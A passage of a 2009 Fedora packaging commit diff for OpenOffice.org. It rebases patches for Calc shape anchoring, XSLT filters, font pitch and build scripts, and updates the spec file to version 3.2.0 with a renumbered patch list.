 +++ sc/source/filter/xml/xmlsubti.cxx	2009-06-04 15:17:25.000000000 +0100
-@@ -145,7 +145,7 @@
+@@ -153,7 +153,7 @@
  
  ScMyTables::ScMyTables(ScXMLImport& rTempImport)
  	: rImport(rTempImport),
@@ -796,7 +798,7 @@ diff -ru sc.orig/source/filter/xml/xmlsu
  	nCurrentColStylePos(0),
  	nCurrentDrawPage( -1 ),
  	nCurrentXShapes( -1 ),
-@@ -715,12 +715,10 @@
+@@ -757,12 +757,10 @@
  	return !((nCurrentSheet != nCurrentXShapes) || !xShapes.is());
  }
  
@@ -805,13 +807,13 @@ diff -ru sc.orig/source/filter/xml/xmlsu
 -	table::CellAddress& rStartAddress, table::CellAddress& rEndAddress,
 -	sal_Int32 nEndX, sal_Int32 nEndY)
 +void ScMyTables::AddOLE(uno::Reference <drawing::XShape>& rShape,
-+	const rtl::OUString &rRangeList)
++      const rtl::OUString &rRangeList)
  {
 -	aResizeShapes.AddShape(rShape, pRangeList, rStartAddress, rEndAddress, nEndX, nEndY);
-+	aFixupOLEs.AddOLE(rShape, rRangeList);
++      aFixupOLEs.AddOLE(rShape, rRangeList);
  }
  
- void ScMyTables::AddMatrixRange(sal_Int32 nStartColumn, sal_Int32 nStartRow, sal_Int32 nEndColumn, sal_Int32 nEndRow, const rtl::OUString& rFormula, const formula::FormulaGrammar::Grammar eGrammar)
+ void ScMyTables::AddMatrixRange(
 diff -ru sc.orig/source/filter/xml/xmlsubti.hxx sc/source/filter/xml/xmlsubti.hxx
 --- sc.orig/source/filter/xml/xmlsubti.hxx	2009-06-04 12:39:13.000000000 +0100
 +++ sc/source/filter/xml/xmlsubti.hxx	2009-06-04 15:23:00.000000000 +0100
@@ -857,10 +859,10 @@ diff -ru sc.orig/source/filter/xml/XMLTa
  #include "xmlannoi.hxx"
  #include "rangeutl.hxx"
 +#include "userdat.hxx"
+ #include "docuno.hxx"
+ #include "sheetdata.hxx"
  #include <xmloff/nmspmap.hxx>
- #include <xmloff/xmlnmspe.hxx>
- #include <xmloff/xmluconv.hxx>
-@@ -86,6 +87,11 @@
+@@ -90,6 +91,11 @@
  	{
          if (!pAnnotationContext)
          {
@@ -872,7 +874,7 @@ diff -ru sc.orig/source/filter/xml/XMLTa
  		    sal_Int32 nEndX(-1);
  		    sal_Int32 nEndY(-1);
  		    sal_Int16 nAttrCount = xAttrList.is() ? xAttrList->getLength() : 0;
-@@ -107,11 +113,18 @@
+@@ -111,11 +117,18 @@
  				    {
  					    sal_Int32 nOffset(0);
  					    ScRangeStringConverter::GetAddressFromString(aEndCell, rValue, static_cast<ScXMLImport&>(mrImporter).GetDocument(), ::formula::FormulaGrammar::CONV_OOO, nOffset);
@@ -891,27 +893,29 @@ diff -ru sc.orig/source/filter/xml/XMLTa
  				    else if (IsXMLToken(aLocalName, XML_TABLE_BACKGROUND))
  					    if (IsXMLToken(rValue, XML_TRUE))
  						    nLayerID = SC_LAYER_BACK;
-@@ -124,39 +137,28 @@
+@@ -128,39 +141,28 @@
  		    }
              SetLayer(rShape, nLayerID, rShape->getShapeType());
  
 -		    if (!bOnTable)
 +		    if (SvxShape* pShapeImp = SvxShape::getImplementation(rShape))
  		    {
--			    static_cast<ScXMLImport&>(mrImporter).GetTables().AddShape(rShape,
+-			    rTables.AddShape(rShape,
 -				    pRangeList, aStartCell, aEndCell, nEndX, nEndY);
 -			    SvxShape* pShapeImp = SvxShape::getImplementation(rShape);
 -			    if (pShapeImp)
-+			    if (SdrObject *pSdrObj = pShapeImp->GetSdrObject())
- 			    {
+-			    {
 -				    SdrObject *pSdrObj = pShapeImp->GetSdrObject();
 -				    if (pSdrObj)
 -					    ScDrawLayer::SetAnchor(pSdrObj, SCA_CELL);
-+				    if (!bOnTable)
-+                        ScDrawLayer::SetCellAnchored(*pSdrObj, aAnchor);
-+                    else
-+				        ScDrawLayer::SetPageAnchored(*pSdrObj);
- 			    }
+-			    }
++				if (SdrObject *pSdrObj = pShapeImp->GetSdrObject())
++				{
++					if (!bOnTable)
++						ScDrawLayer::SetCellAnchored(*pSdrObj, aAnchor);
++					else
++						ScDrawLayer::SetPageAnchored(*pSdrObj);
++				}
  		    }
 -		    else
 -		    {
@@ -922,7 +926,7 @@ diff -ru sc.orig/source/filter/xml/XMLTa
 -                    // -> call AddShape with invalid cell position (checked in ScMyShapeResizer::ResizeShapes)
 -
 -                    table::CellAddress aInvalidPos( -1, -1, -1 );
--                    static_cast<ScXMLImport&>(mrImporter).GetTables().AddShape(rShape,
+-                    rTables.AddShape(rShape,
 -                        pRangeList, aInvalidPos, aInvalidPos, 0, 0);
 -                }
  
@@ -938,13 +942,13 @@ diff -ru sc.orig/source/filter/xml/XMLTa
 +            {
 +                // #i78086# If there are notification ranges, the ChartListener must be created
 +                // also when anchored to the sheet
-+                // -> call AddOLE (fixed up in ScMyShapeResizer::FixupOLEs)
++                // -> call AddOLE with invalid cell position (checked in ScMyShapeResizer::ResizeShapes)
 +
-+                if (static_cast<ScXMLImport&>(mrImporter).GetTables().IsOLE(rShape))
-+                    static_cast<ScXMLImport&>(mrImporter).GetTables().AddOLE(rShape, *pRangeList);
++				if (rTables.IsOLE(rShape))
++                	rTables.AddOLE(rShape, *pRangeList);
 +            }
 +
-+            delete pRangeList;
++			delete pRangeList;
          }
          else // shape is annotation
          {

openoffice.org-3.1.0.ooo98137.filter.redeclared-variables.patch:
 spreadsheetml/formular.xsl |    6 +++---
 uof/odf2uof_text.xsl       |    8 +-------
 2 files changed, 4 insertions(+), 10 deletions(-)

Index: openoffice.org-3.1.0.ooo98137.filter.redeclared-variables.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-3.1.0.ooo98137.filter.redeclared-variables.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- openoffice.org-3.1.0.ooo98137.filter.redeclared-variables.patch	27 Apr 2009 06:24:57 -0000	1.3
+++ openoffice.org-3.1.0.ooo98137.filter.redeclared-variables.patch	10 Oct 2009 15:48:46 -0000	1.4
@@ -1,32 +1,3 @@
-diff -ru filter.orig/source/xslt/odf2xhtml/export/xhtml/body.xsl filter/source/xslt/odf2xhtml/export/xhtml/body.xsl
---- filter.orig/source/xslt/odf2xhtml/export/xhtml/body.xsl	2009-04-24 09:31:14.000000000 +0100
-+++ filter/source/xslt/odf2xhtml/export/xhtml/body.xsl	2009-04-24 09:31:57.000000000 +0100
-@@ -462,7 +462,7 @@
- 	<xsl:template name="create-heading">
- 		<xsl:param name="globalData"/>
- 
--		<xsl:variable name="headingNumber">
-+		<xsl:variable name="headerNumber">
- 			<xsl:choose>
- 			<xsl:when test="@text:outline-level &lt; 6">
- 				<xsl:value-of select="@text:outline-level"/>
-@@ -470,7 +470,7 @@
- 			<xsl:otherwise>6</xsl:otherwise>
- 			</xsl:choose>
- 		</xsl:variable>
--		<xsl:variable name="headertyp" select="concat('h', $headingNumber)"/>
-+		<xsl:variable name="headertyp" select="concat('h', $headerNumber)"/>
- 		<xsl:element name="{$headertyp}">
- 			<!-- outline style 'text:min-label-width' is interpreted as a CSS 'margin-right' attribute
- 			NOTE: Should be handled as CSS style in style header -->
-@@ -865,7 +865,6 @@
- 		<xsl:param name="listLevel" select="1"/>
- 		<xsl:param name="listRestart" select="false()"/>
- 		<xsl:param name="itemLabel" select="''"/>
--		<xsl:param name="listStyle"/>
- 		<xsl:param name="listStyleName" select="@text:style-name"/>
- 
- 		<!-- To choose list type - get the list style, with the same 'text:style-name' and same 'text:level' -->
 diff -ru filter.orig/source/xslt/export/spreadsheetml/formular.xsl filter/source/xslt/export/spreadsheetml/formular.xsl
 --- filter.orig/source/xslt/export/spreadsheetml/formular.xsl	2009-04-24 09:31:14.000000000 +0100
 +++ filter/source/xslt/export/spreadsheetml/formular.xsl	2009-04-24 09:31:57.000000000 +0100

openoffice.org-3.1.0.oooXXXXX.solenv.allowmissing.patch:
 scriptitems.pm |    6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

Index: openoffice.org-3.1.0.oooXXXXX.solenv.allowmissing.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-3.1.0.oooXXXXX.solenv.allowmissing.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- openoffice.org-3.1.0.oooXXXXX.solenv.allowmissing.patch	24 Feb 2009 13:02:34 -0000	1.1
+++ openoffice.org-3.1.0.oooXXXXX.solenv.allowmissing.patch	10 Oct 2009 15:48:46 -0000	1.2
@@ -5,13 +5,23 @@ retrieving revision 1.17
 diff -u -p -r1.17 scriptitems.pm
 --- openoffice.org.orig/solenv/bin/modules/installer/scriptitems.pm	24 Feb 2005 16:21:15 -0000	1.17
 +++ openoffice.org/solenv/bin/modules/installer/scriptitems.pm	18 Mar 2005 22:39:42 -0000
-@@ -930,8 +930,7 @@ sub remove_Files_Without_Sourcedirectory
- 				$infoline = "ERROR: Removing file $filename from file list.\n";
- 				push( @installer::globals::logfileinfo, $infoline);
+@@ -1378,8 +1378,7 @@
+ 					$infoline = "ERROR: Removing file $filename from file list.\n";
+ 					push( @installer::globals::logfileinfo, $infoline);
  
--				push(@missingfiles, "ERROR: File not found: $filename\n");	
--				$error_occured = 1;
-+				push(@missingfiles, "Warning: File not found: $filename\n");	
+-					push(@missingfiles, "ERROR: File not found: $filename\n");	
+-					$error_occured = 1;
++					push(@missingfiles, "Warning: File not found: $filename\n");	
  
- 				next;	# removing this file from list, if sourcepath is empty
- 			}
+ 					next;	# removing this file from list, if sourcepath is empty
+ 				}
+@@ -1390,8 +1389,7 @@
+ 						$infoline = "ERROR: Removing file $filename from file list.\n";
+ 						push( @installer::globals::logfileinfo, $infoline);
+ 
+-						push(@missingfiles, "ERROR: File not found: $filename\n");	
+-						$error_occured = 1;
++						push(@missingfiles, "Warning: File not found: $filename\n");	
+ 
+ 						next;	# removing this file from list, if sourcepath is empty		
+ 					}

openoffice.org-3.1.1.ooo64671.canvas.add-support-for-font-pitch.patch:
 canvas/source/cairo/cairo_canvasfont.cxx                      |    5 +++++
 canvas/source/directx/dx_textlayout_drawhelper.cxx            |    6 ++++++
 canvas/source/vcl/canvasfont.cxx                              |    5 +++++
 cppcanvas/inc/cppcanvas/renderer.hxx                          |    3 +++
 cppcanvas/source/mtfrenderer/implrenderer.cxx                 |   10 +++++++++-
 drawinglayer/inc/drawinglayer/primitive2d/textprimitive2d.hxx |    6 +++++-
 drawinglayer/source/primitive2d/textlayoutdevice.cxx          |    2 ++
 drawinglayer/source/primitive2d/textprimitive2d.cxx           |    3 ++-
 drawinglayer/source/processor2d/canvasprocessor.cxx           |    5 +++++
 9 files changed, 42 insertions(+), 3 deletions(-)

Index: openoffice.org-3.1.1.ooo64671.canvas.add-support-for-font-pitch.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-3.1.1.ooo64671.canvas.add-support-for-font-pitch.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- openoffice.org-3.1.1.ooo64671.canvas.add-support-for-font-pitch.patch	15 Sep 2009 20:03:32 -0000	1.2
+++ openoffice.org-3.1.1.ooo64671.canvas.add-support-for-font-pitch.patch	10 Oct 2009 15:48:46 -0000	1.3
@@ -10,7 +10,7 @@ Index: cppcanvas/source/mtfrenderer/impl
  #include <com/sun/star/rendering/ViewState.hpp>
  #include <com/sun/star/rendering/RenderState.hpp>
  #include <com/sun/star/rendering/XCanvasFont.hpp>
-@@ -955,6 +956,12 @@
+@@ -956,6 +957,12 @@
                  rParms.mrParms.maFontLetterForm.isValid() ?
                  rParms.mrParms.maFontLetterForm.getValue() :
                  (rFont.GetItalic() == ITALIC_NONE) ? 0 : 9;
@@ -21,9 +21,9 @@ Index: cppcanvas/source/mtfrenderer/impl
 +                    ? rendering::PanoseProportion::MONO_SPACED
 +                    : rendering::PanoseProportion::ANYTHING;
  
-             // setup state-local text transformation,
-             // if the font be rotated
-@@ -3061,7 +3068,8 @@
+             LanguageType aLang = rFont.GetLanguage();
+             aFontRequest.Locale = MsLangId::convertLanguageToLocale(aLang, false);
+@@ -3073,7 +3080,8 @@
              if( rParams.maFontName.isValid() ||
                  rParams.maFontWeight.isValid() ||
                  rParams.maFontLetterForm.isValid() ||
@@ -51,7 +51,7 @@ Index: canvas/source/directx/dx_textlayo
 ===================================================================
 --- canvas/source/directx/dx_textlayout_drawhelper.cxx	(revision 276100)
 +++ canvas/source/directx/dx_textlayout_drawhelper.cxx	(working copy)
-@@ -134,6 +134,9 @@
+@@ -135,6 +135,9 @@
              aFont.SetVertical( (rFontRequest.FontDescription.IsVertical==com::sun::star::util::TriState_YES) ? TRUE : FALSE );
              aFont.SetWeight( static_cast<FontWeight>(rFontRequest.FontDescription.FontDescription.Weight) );
              aFont.SetItalic( (rFontRequest.FontDescription.FontDescription.Letterform<=8) ? ITALIC_NONE : ITALIC_NORMAL );
@@ -59,9 +59,9 @@ Index: canvas/source/directx/dx_textlayo
 +                    rFontRequest.FontDescription.FontDescription.Proportion == rendering::PanoseProportion::MONO_SPACED
 +                    ? PITCH_FIXED : PITCH_VARIABLE);
  
-             // setup font color
-             aFont.SetColor( aColor );
-@@ -264,6 +267,9 @@
+             aFont.SetLanguage(MsLangId::convertLocaleToLanguage(rFontRequest.Locale));
+ 
+@@ -267,6 +270,9 @@
          aFont.SetVertical( (rFontRequest.FontDescription.IsVertical==com::sun::star::util::TriState_YES) ? TRUE : FALSE );
          aFont.SetWeight( static_cast<FontWeight>(rFontRequest.FontDescription.FontDescription.Weight) );
          aFont.SetItalic( (rFontRequest.FontDescription.FontDescription.Letterform<=8) ? ITALIC_NONE : ITALIC_NORMAL );
@@ -75,14 +75,14 @@ Index: canvas/source/vcl/canvasfont.cxx
 ===================================================================
 --- canvas/source/vcl/canvasfont.cxx	(revision 276100)
 +++ canvas/source/vcl/canvasfont.cxx	(working copy)
-@@ -33,6 +33,8 @@
- 
- #include <canvas/debug.hxx>
+@@ -38,6 +38,8 @@
+ #include <i18npool/mslangid.hxx>
+ #include <vcl/metric.hxx>
  
 +#include <com/sun/star/rendering/PanoseProportion.hpp>
 +
- #include <rtl/math.hxx>
- #include <basegfx/numeric/ftools.hxx>
+ #include "canvasfont.hxx"
+ #include "textlayout.hxx"
  
 @@ -66,6 +68,9 @@
          // TODO(F2): improve panose->vclenum conversion
@@ -92,8 +92,8 @@ Index: canvas/source/vcl/canvasfont.cxx
 +                rFontRequest.FontDescription.FontDescription.Proportion == rendering::PanoseProportion::MONO_SPACED
 +                    ? PITCH_FIXED : PITCH_VARIABLE);
  
-         // adjust to stretched/shrinked font
-         if( !::rtl::math::approxEqual( rFontMatrix.m00, rFontMatrix.m11) )
+ 		maFont->SetLanguage(MsLangId::convertLocaleToLanguage(rFontRequest.Locale));
+ 
 Index: canvas/source/cairo/cairo_canvasfont.cxx
 ===================================================================
 --- canvas/source/cairo/cairo_canvasfont.cxx	(revision 276100)
@@ -107,7 +107,7 @@ Index: canvas/source/cairo/cairo_canvasf
  #include <rtl/math.hxx>
  #include <basegfx/numeric/ftools.hxx>
  
-@@ -85,6 +87,9 @@
+@@ -86,6 +88,9 @@
          // TODO(F2): improve panose->vclenum conversion
          maFont->SetWeight( static_cast<FontWeight>(rFontRequest.FontDescription.FontDescription.Weight) );
          maFont->SetItalic( (rFontRequest.FontDescription.FontDescription.Letterform<=8) ? ITALIC_NONE : ITALIC_NORMAL );
@@ -115,8 +115,8 @@ Index: canvas/source/cairo/cairo_canvasf
 +                rFontRequest.FontDescription.FontDescription.Proportion == rendering::PanoseProportion::MONO_SPACED
 +                    ? PITCH_FIXED : PITCH_VARIABLE);
  
-         // adjust to stretched/shrinked font
-         if( !::rtl::math::approxEqual( rFontMatrix.m00, rFontMatrix.m11) )
+         maFont->SetLanguage(MsLangId::convertLocaleToLanguage(rFontRequest.Locale));
+ 
 Index: drawinglayer/source/processor2d/canvasprocessor.cxx
 ===================================================================
 --- drawinglayer/source/processor2d/canvasprocessor.cxx	(revision 276100)
@@ -144,15 +144,15 @@ Index: drawinglayer/source/primitive2d/t
 ===================================================================
 --- drawinglayer/source/primitive2d/textlayoutdevice.cxx	(revision 276100)
 +++ drawinglayer/source/primitive2d/textlayoutdevice.cxx	(working copy)
-@@ -346,6 +346,7 @@
+@@ -345,6 +345,7 @@
  			aRetval.SetWeight(static_cast<FontWeight>(rFontAttributes.getWeight()));
  			aRetval.SetItalic(rFontAttributes.getItalic() ? ITALIC_NORMAL : ITALIC_NONE);
  			aRetval.SetOutline(rFontAttributes.getOutline());
 +            aRetval.SetPitch(rFontAttributes.getMonospaced() ? PITCH_FIXED : PITCH_VARIABLE);
+             aRetval.SetLanguage(MsLangId::convertLocaleToLanguage(rLocale));
  
  #ifdef WIN32
- 			// #100424# use higher precision
-@@ -392,6 +393,7 @@
+@@ -384,6 +385,7 @@
                  RTL_TEXTENCODING_SYMBOL == rFont.GetCharSet(),
  			    rFont.IsVertical(),
  			    ITALIC_NONE != rFont.GetItalic(),

openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch:
 fontsubset/gsub.cxx   |   10 ++++++++--
 glyphs/gcach_ftyp.cxx |   11 +++++++++--
 2 files changed, 17 insertions(+), 4 deletions(-)

Index: openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch	30 Sep 2009 14:02:40 -0000	1.1
+++ openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch	10 Oct 2009 15:48:46 -0000	1.2
@@ -21,9 +21,9 @@ diff -ru vcl.orig/source/glyphs/gcach_ft
                          }
                      }
                      break;
-diff -ru psprint.orig/source/fontsubset/gsub.cxx psprint/source/fontsubset/gsub.cxx
---- psprint.orig/source/fontsubset/gsub.cxx	2009-09-30 12:46:58.000000000 +0100
-+++ psprint/source/fontsubset/gsub.cxx	2009-09-30 14:31:17.000000000 +0100
+diff -ru vcl.orig/source/fontsubset/gsub.cxx vcl/source/fontsubset/gsub.cxx
+--- vcl.orig/source/fontsubset/gsub.cxx	2009-09-30 12:46:58.000000000 +0100
++++ vcl/source/fontsubset/gsub.cxx	2009-09-30 14:31:17.000000000 +0100
 @@ -282,9 +282,15 @@
                      {
                          const USHORT nGlyph0 = NEXT_UShort( pCoverage );

openoffice.org-3.1.1.oooXXXXXX.sal.justcoredump.patch:
 signal.c |   12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

Index: openoffice.org-3.1.1.oooXXXXXX.sal.justcoredump.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-3.1.1.oooXXXXXX.sal.justcoredump.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- openoffice.org-3.1.1.oooXXXXXX.sal.justcoredump.patch	15 Sep 2009 08:24:14 -0000	1.1
+++ openoffice.org-3.1.1.oooXXXXXX.sal.justcoredump.patch	10 Oct 2009 15:48:46 -0000	1.2
@@ -19,12 +19,3 @@
  
  #define MAX_PATH_LEN	2048
  
-@@ -401,7 +405,7 @@
- 
- #define REPORTENV_PARAM		"-crashreportenv:"
- 
--#ifdef LINUX
-+#if defined(LINUX) && defined(SAL_ENABLE_CRASH_REPORT)
- 
- typedef struct
- {


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2018
retrieving revision 1.2019
diff -u -p -r1.2018 -r1.2019
--- openoffice.org.spec	8 Oct 2009 12:56:43 -0000	1.2018
+++ openoffice.org.spec	10 Oct 2009 15:48:46 -0000	1.2019
@@ -1,6 +1,6 @@
-%define oootag OOO310
-%define ooomilestone 19
-%define rh_rpm_release 11
+%define oootag OOO320
+%define ooomilestone 1
+%define rh_rpm_release 1
 
 # rhbz#465664 jar-repacking breaks help by reordering META-INF/MANIFEST.MF
 %define __jar_repack %{nil}
@@ -34,7 +34,7 @@
 
 Summary:        OpenOffice.org comprehensive office suite.
 Name:           openoffice.org
-Version:        3.1.1
+Version:        3.2.0
 Release: 	%{ooomilestone}.%{rh_rpm_release}%{?dist}
 Epoch:		1
 License:	LGPLv3 and LGPLv2+ and MPLv1.1 and BSD
@@ -51,9 +51,6 @@ Source6:        redhat-registry.tar.gz
 Source7:        redhat-langpacks.tar.gz
 Source8:        redhat-agreement.xsl
 Source9:        openoffice.org-javafilter.desktop
-Source10:       http://www.openoffice.org/nonav/issues/showattachment.cgi/60508/or-IN_DEV300_m40.sdf
-Source11:       http://www.openoffice.org/nonav/issues/showattachment.cgi/62822/acor_en-GB.dat
-Source12:       http://www.openoffice.org/nonav/issues/showattachment.cgi/62823/acor_en-ZA.dat
 BuildRequires:	zip, findutils, autoconf, flex, bison, icu, gperf, gcc-c++
 BuildRequires:	binutils, java-devel, boost-devel, zlib-devel, vigra-devel
 BuildRequires:	python-devel, expat-devel, libxml2-devel, libxslt-devel, bc
@@ -71,98 +68,54 @@ BuildRequires:  jakarta-commons-lang, po
 BuildRequires:  pentaho-reporting-flow-engine, libXinerama-devel
 
 Patch1:  openoffice.org-multiliblauncher.sh
-Patch2:  workspace.defaultdoclang.patch
 %if %{gtkprintui}
-Patch3:  openoffice.org-2.0.3.rh127576.gtkunixprintdialog.patch
+Patch2:  openoffice.org-2.0.3.rh127576.gtkunixprintdialog.patch
 %endif
-Patch4:  openoffice.org-2.0.1.rhXXXXXX.extensions.defaulttoevo2.patch
-Patch5:  openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch
-Patch6:  openoffice.org-2.0.1.ooo58606.sw.pre-edit.patch
-Patch7:  openoffice.org-2.0.2.rh188467.printingdefaults.patch
-Patch8:  openoffice.org-3.0.0.ooo88303.vcl.dynamicfontoptions.patch
-Patch9:  openoffice.org-2.0.4.rhXXXXXX.padmin.nospadmin.patch
-Patch10: openoffice.org-2.1.0.ooo65491.psprint.enablenups.patch
+Patch3:  openoffice.org-2.0.1.rhXXXXXX.extensions.defaulttoevo2.patch
+Patch4:  openoffice.org-1.9.123.ooo53397.prelinkoptimize.desktop.patch
+Patch5:  openoffice.org-2.0.1.ooo58606.sw.pre-edit.patch
+Patch6:  openoffice.org-2.0.2.rh188467.printingdefaults.patch
+Patch7:  openoffice.org-3.0.0.ooo88303.vcl.dynamicfontoptions.patch
+Patch8:  openoffice.org-2.0.4.rhXXXXXX.padmin.nospadmin.patch
+Patch9:  openoffice.org-2.1.0.ooo65491.psprint.enablenups.patch
 %if %{gtkprintui}
-Patch11: openoffice.org-2.0.3.rh127576.gtkunixprintdialog.localize
+Patch10: openoffice.org-2.0.3.rh127576.gtkunixprintdialog.localize
 %endif
-Patch12: openoffice.org-2.2.0.ooo74188.sw.cursorinsideglyph.patch
-Patch13: ooo-build.ooo68717.gstreamer.video.patch
-Patch14: workspace.kso32fixes.patch
-Patch15: workspace.sb113.patch
-Patch16: openoffice.org-2.2.1.ooo7065.sw.titlepagedialog.patch
-Patch17: openoffice.org-2.3.0.ooo76649.httpencoding.patch
-Patch18: openoffice.org-2.3.1.ooo83878.unopkg.enablelinking.patch
-Patch19: openoffice.org-2.4.0.rh133741.alwaysgtk.vcl.patch
-Patch20: workspace.impress170.patch
-Patch21: openoffice.org-2.4.0.ooo86080.unopkg.bodge.patch
-Patch22: openoffice.org-2.0.2.ooo64508.vcl.honourfontconfighinting.patch
-Patch23: openoffice.org-3.0.0.ooo88341.sc.verticalboxes.patch
-Patch24: openoffice.org-3.0.0.ooo87970.vcl.samenamesubs.patch
-Patch25: workspace.tl66.patch
-Patch26: openoffice.org-3.0.0.ooo91924.svx.consistentordering.patch
-Patch27: workspace.mhu17.patch
-Patch28: openoffice.org-3.0.0.ooo95018.sal.fdwarnings.patch
-Patch29: workspace.gtkmenuimages.patch
-Patch30: workspace.calc50.patch
-Patch31: workspace.mav46.patch
-Patch32: openoffice.org-3.0.1.ooo97088.sd.accel-fallback.patch
-Patch33: workspace.transogl03redux.patch
-Patch34: workspace.cmcfixes63.patch
-Patch35: openoffice.org-3.0.1.ooo97488.sw.ww8toc.patch
-Patch36: openoffice.org-3.0.1.oooXXXXX.fpicker.allformatsonsave.patch
-Patch37: openoffice.org-3.1.0.ooo98137.filter.redeclared-variables.patch
-Patch38: workspace.cmcfixes54.patch
-Patch39: openoffice.org-2.2.0.gccXXXXX.solenv.javaregistration.patch
-Patch40: workspace.fwk103.patch
-Patch41: workspace.hb18.patch
-Patch42: openoffice.org-3.1.0.oooXXXXX.gcc44.buildfixes.patch
-Patch43: workspace.vcl100.patch
-Patch44: workspace.xmergeclean.patch
-Patch45: workspace.mba32issues02.patch
-Patch46: workspace.impress169.patch
-Patch47: workspace.os130.patch
-Patch48: openoffice.org-3.1.0.ooo99541.sw.reopen.flat.addrbooks.patch
-Patch49: openoffice.org-3.1.0.oooXXXXX.solenv.allowmissing.patch
-Patch50: workspace.cmcfixes57.patch
-Patch51: openoffice.org-3.1.0.ooo100273.fix-utf8-hyphenation.patch
-Patch52: ooo-build.ooo2497.filter.svg.patch
-Patch53: workspace.hb32bugs01.patch
-Patch54: openoffice.org-3.1.0.ooo61927.sw.ww6.unicodefontencoding.patch
-Patch55: workspace.impress171.patch
-Patch56: workspace.vcl101.patch
-Patch57: workspace.slideshow1.patch
-Patch58: openoffice.org-3.1.0.ooo90439.sfx2.qstart.hackaround.patch
-Patch59: openoffice.org-3.1.0.ooo101274.opening-a-directory.patch
-Patch60: openoffice.org-3.1.0.ooo101354.filter.xhtml.do-not-label-list-headers.patch
-Patch61: openoffice.org-3.1.0.ooo101355.filter.no-variables-in-keys.patch
-Patch62: workspace.vcl104.patch
-Patch63: workspace.evoab2def.patch
-Patch64: workspace.cmcfixes59.patch
-Patch65: workspace.impress174.patch
-Patch66: openoffice.org-3.1.0.ooo101567.i18npool.mailocaledata.patch
-Patch67: workspace.unifypaper01.patch
-Patch68: openoffice.org-3.1.0.ooo102061.sc.cellanchoring.patch
-Patch69: openoffice.org-3.1.0.ooo102142.sd.resleak.patch
-Patch70: workspace.calc51.patch
-Patch71: openoffice.org-2.0.0.ooo46270.svx.search-dialog.no-find-all-in-draw.patch
-Patch72: workspace.locales32.patch
-Patch73: workspace.cmcfixes60.patch
-Patch74: workspace.dr72.patch
-Patch75: workspace.vcl103.patch
-Patch76: workspace.cmcfixes61.patch
-Patch77: workspace.os132.patch
-Patch78: workspace.cmcfixes62.patch
-Patch79: openoffice.org-3.1.0.ooo104280.xmloff.lcl_IsAtEnd.wrong.patch
-Patch80: openoffice.org-3.1.1.ooo104329.dbaccess.primarykeys.patch
-Patch81: workspace.os131.patch
-Patch82: workspace.vcl102.patch
-Patch83: workspace.dr69.patch
-Patch84: openoffice.org-3.1.1.ooo64671.canvas.add-support-for-font-pitch.patch
-Patch85: openoffice.org-3.1.1.oooXXXXXX.sal.justcoredump.patch
-Patch86: workspace.aw073.patch
-Patch87: openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch
-Patch88: workspace.vcl106.patch
-Patch89: openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch
+Patch11: openoffice.org-2.2.0.ooo74188.sw.cursorinsideglyph.patch
+Patch12: ooo-build.ooo68717.gstreamer.video.patch
+Patch13: openoffice.org-2.2.1.ooo7065.sw.titlepagedialog.patch
+Patch14: openoffice.org-2.3.0.ooo76649.httpencoding.patch
+Patch15: openoffice.org-2.3.1.ooo83878.unopkg.enablelinking.patch
+Patch16: openoffice.org-2.4.0.rh133741.alwaysgtk.vcl.patch
+Patch17: openoffice.org-2.4.0.ooo86080.unopkg.bodge.patch
+Patch18: openoffice.org-2.0.2.ooo64508.vcl.honourfontconfighinting.patch
+Patch19: openoffice.org-3.0.0.ooo88341.sc.verticalboxes.patch
+Patch20: openoffice.org-3.0.0.ooo87970.vcl.samenamesubs.patch
+Patch21: openoffice.org-3.0.0.ooo91924.svx.consistentordering.patch
+Patch22: openoffice.org-3.0.1.oooXXXXX.fpicker.allformatsonsave.patch
+Patch23: openoffice.org-3.1.0.ooo98137.filter.redeclared-variables.patch
+Patch24: openoffice.org-2.2.0.gccXXXXX.solenv.javaregistration.patch
+Patch25: openoffice.org-3.1.0.oooXXXXX.solenv.allowmissing.patch
+Patch26: openoffice.org-3.1.0.ooo100273.fix-utf8-hyphenation.patch
+Patch27: ooo-build.ooo2497.filter.svg.patch
+Patch28: openoffice.org-3.1.0.ooo61927.sw.ww6.unicodefontencoding.patch
+Patch29: workspace.slideshow1.patch
+Patch30: openoffice.org-3.1.0.ooo90439.sfx2.qstart.hackaround.patch
+Patch31: openoffice.org-3.1.0.ooo101274.opening-a-directory.patch
+Patch32: openoffice.org-3.1.0.ooo101354.filter.xhtml.do-not-label-list-headers.patch
+Patch33: openoffice.org-3.1.0.ooo101355.filter.no-variables-in-keys.patch
+Patch34: openoffice.org-3.1.0.ooo101567.i18npool.mailocaledata.patch
+Patch35: openoffice.org-3.1.0.ooo102061.sc.cellanchoring.patch
+Patch36: openoffice.org-3.1.0.ooo102142.sd.resleak.patch
+Patch37: openoffice.org-2.0.0.ooo46270.svx.search-dialog.no-find-all-in-draw.patch
+Patch38: openoffice.org-3.1.0.ooo104280.xmloff.lcl_IsAtEnd.wrong.patch
+Patch39: openoffice.org-3.1.1.ooo104329.dbaccess.primarykeys.patch
+Patch40: openoffice.org-3.1.1.ooo64671.canvas.add-support-for-font-pitch.patch
